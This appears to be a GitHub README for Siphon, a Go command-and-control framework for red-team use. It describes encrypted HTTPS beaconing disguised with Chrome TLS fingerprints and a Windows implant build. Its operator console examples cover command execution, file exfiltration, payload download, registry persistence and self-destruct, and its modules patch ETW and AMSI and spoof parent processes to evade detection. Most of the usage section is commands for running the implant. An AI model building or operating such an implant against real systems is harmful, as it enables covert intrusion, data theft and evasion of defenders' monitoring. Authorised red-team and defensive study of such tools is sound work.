Real-Fruit-Snacks/Siphon

GitHub: Real-Fruit-Snacks/Siphon

轻量级红队C2框架,通过ECDH前向保密和AES-256-GCM加密实现安全通信,支持命令执行、文件传输和持久化等功能。

Stars: 4 | Forks: 1

Siphon ![Go](https://img.shields.io/badge/language-Go-00ADD8.svg) ![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20Windows-lightgrey) ![License](https://img.shields.io/badge/license-MIT-blue.svg) **轻量级 C2 框架,每会话前向保密。** ECDH P-256 密钥交换、AES-256-GCM 认证加密,以及通过 HTTPS 信标传输的 uTLS Chrome 指纹识别。服务器公钥在构建时嵌入——磁盘上零配置文件。 [功能](#features) · [快速开始](#quick-start) · [使用说明](#usage) · [架构设计](#architecture) · [安全性](#security)
## 功能 ### ECDH 前向保密 每会话临时 P-256 密钥交换。服务器公钥通过 ldflags 在构建时嵌入。派生后清除共享密钥。 ``` make implant SERVER_PK=04a1b2... C2_HOST=https://10.0.0.5:443 SLEEP_SEC=10 ``` ### AES-256-GCM 传输 所有载荷使用认证加密。每条消息使用唯一 nonce。HMAC-SHA256 覆盖完整信封:ID、PubKey、Nonce、密文。 ### uTLS 指纹识别 通过 `HelloChrome_Auto` 实现 Chrome JA3 指纹。基于 Cookie 的信标传输与标准端点上的常规 HTTPS 流量混合。 ### 操作员控制台 使用 Catppuccin Mocha 配色方案的交互式 CLI。前缀匹配选择植入物、任务排队和实时结果显示。 ``` siphon> implants siphon> interact abc123 siphon(abc123)> cmd whoami siphon(abc123)> upload C:\secrets.db siphon(abc123)> persist registry siphon(abc123)> selfdestruct ``` ### 植入物构建器 在 Linux 上跨平台编译 Windows 植入物。服务器公钥、C2 主机、睡眠间隔、认证令牌、终止日期和自定义端点通过构建变量配置。使用 `-s -w -trimpath` 剥离。 ``` make implant SERVER_PK= C2_HOST=https://c2:443 SLEEP_SEC=10 AUTH_TOKEN=secret ``` ## 快速开始 **前置条件:** Go 1.24+、Make ``` git clone https://github.com/Real-Fruit-Snacks/Siphon.git cd Siphon # 生成 ECDH 密钥对 + TLS 证书 make setup # 构建 C2 服务器 (Linux, 剥离) make server # 构建 implant (Windows 交叉编译) make implant SERVER_PK= C2_HOST=https://your-c2:443 SLEEP_SEC=10 ``` ## 使用说明 ### 启动服务器 ``` ./build/siphon-server \ -listen :443 \ -cert server/certs/server.crt \ -key server/certs/server.key \ -auth secret-token ``` ### 与植入物交互 ``` siphon> implants # list checked-in implants siphon> interact abc123 # select by prefix match siphon(abc123)> cmd whoami # execute a command siphon(abc123)> upload C:\secrets.db # exfiltrate a file siphon(abc123)> download payload.exe C:\Temp\svc.exe siphon(abc123)> sleep 30 # change beacon interval siphon(abc123)> persist registry # install persistence siphon(abc123)> selfdestruct # remove the implant ``` ### 构建目标 ``` make setup # Generate ECDH keypair + TLS certificate make server # Build C2 server (Linux amd64, stripped) make implant # Build implant (Windows amd64, cross-compiled) make implant-linux # Build implant (Linux amd64, for testing) make clean # Remove build artifacts and generated keys ``` ## 架构设计 ``` shared/types.go Protocol types: Beacon, Task, TaskResult, Envelope server/ crypto.go ECDH key exchange and AES-256-GCM handlers.go HTTP handlers for beacon and submit cli.go Interactive operator console cmd/main.go Server entry point; TLS cert generation implant/ main.go Entry point with exponential backoff comms.go ECDH key exchange and AES-256-GCM transport.go HTTPS client with uTLS Chrome fingerprint tasks.go Task dispatcher: cmd, upload, download, sleep, persist evasion_windows.go PPID spoofing, CREATE_NO_WINDOW patches_windows.go ETW and AMSI patching Makefile Build system with ldflags configuration ``` ### 数据流 ``` Implant ── HTTPS GET /api/news (beacon) ──▶ Server ──▶ Task Queue Implant ◀── Encrypted Task (AES-256-GCM) ◀── Server Implant ── HTTPS POST /api/submit (result) ──▶ Server ──▶ Loot Storage ``` ### 加密流 ``` 1. Implant generates ephemeral ECDH P-256 keypair 2. Derives shared secret using server's embedded public key 3. Shared secret → AES-256-GCM key 4. All payloads encrypted with unique nonce per message 5. HMAC-SHA256 covers envelope: ID + PubKey + Nonce + Ciphertext 6. Shared secret zeroed after key derivation ``` ## 平台支持 | 功能 | Linux(服务器) | Windows(植入物) | Linux(植入物) | |---|---|---|---| | HTTPS 信标 | 完整 | 完整 | 完整 | | ECDH + AES-GCM | 完整 | 完整 | 完整 | | uTLS 指纹 | 不适用 | 完整 | 完整 | | 命令执行 | 不适用 | `cmd.exe` + PPID 欺骗 | `/bin/sh` | | ETW 修补 | 不适用 | 完整 | 存根 | | AMSI 修补 | 不适用 | 完整 | 存根 | | PPID 欺骗 | 不适用 | 完整 | 不支持 | | 持久化 | 不适用 | 注册表、schtask、启动项 | 存根 | | 自毁 | 不适用 | 完整 | 存根 | ## 安全性 通过 [GitHub 安全公告](https://github.com/Real-Fruit-Snacks/Siphon/security/advisories) 报告漏洞。90 天负责任披露。 | 属性 | 实现方式 | |---|---| | 前向保密 | 每会话临时 ECDH P-256 | | 载荷加密 | AES-256-GCM 认证加密 | | 密钥分发 | 通过 ldflags 嵌入服务器公钥 | | 消息认证 | HMAC-SHA256 预共享令牌 | | 战利品加密 | 静态 AES-256-GCM | | 路径遍历 | `filepath.Base()` 清理 | | 二进制加固 | `-s -w -trimpath` | | TLS 指纹 | uTLS Chrome JA3 | **Siphon 不会:**收集凭证、横向移动、提升权限、逃避内核级 EDR、销毁事件日志或生成载荷。 ## 许可证 [MIT](
标签:AES-256-GCM, C2框架, Chrome指纹, ECDH, EVTX分析, Go语言, HTTPS隧道, IP 地址批量处理, JA3指纹, P-256, uTLS, 信标传输, 前向保密, 反取证, 后渗透工具, 命令与控制, 安全学习资源, 安全评估, 恶意软件, 无线安全, 日志审计, 植入物, 流量混淆, 渗透框架, 程序破解, 端到端加密, 红队操作, 远控后门, 隐匿通信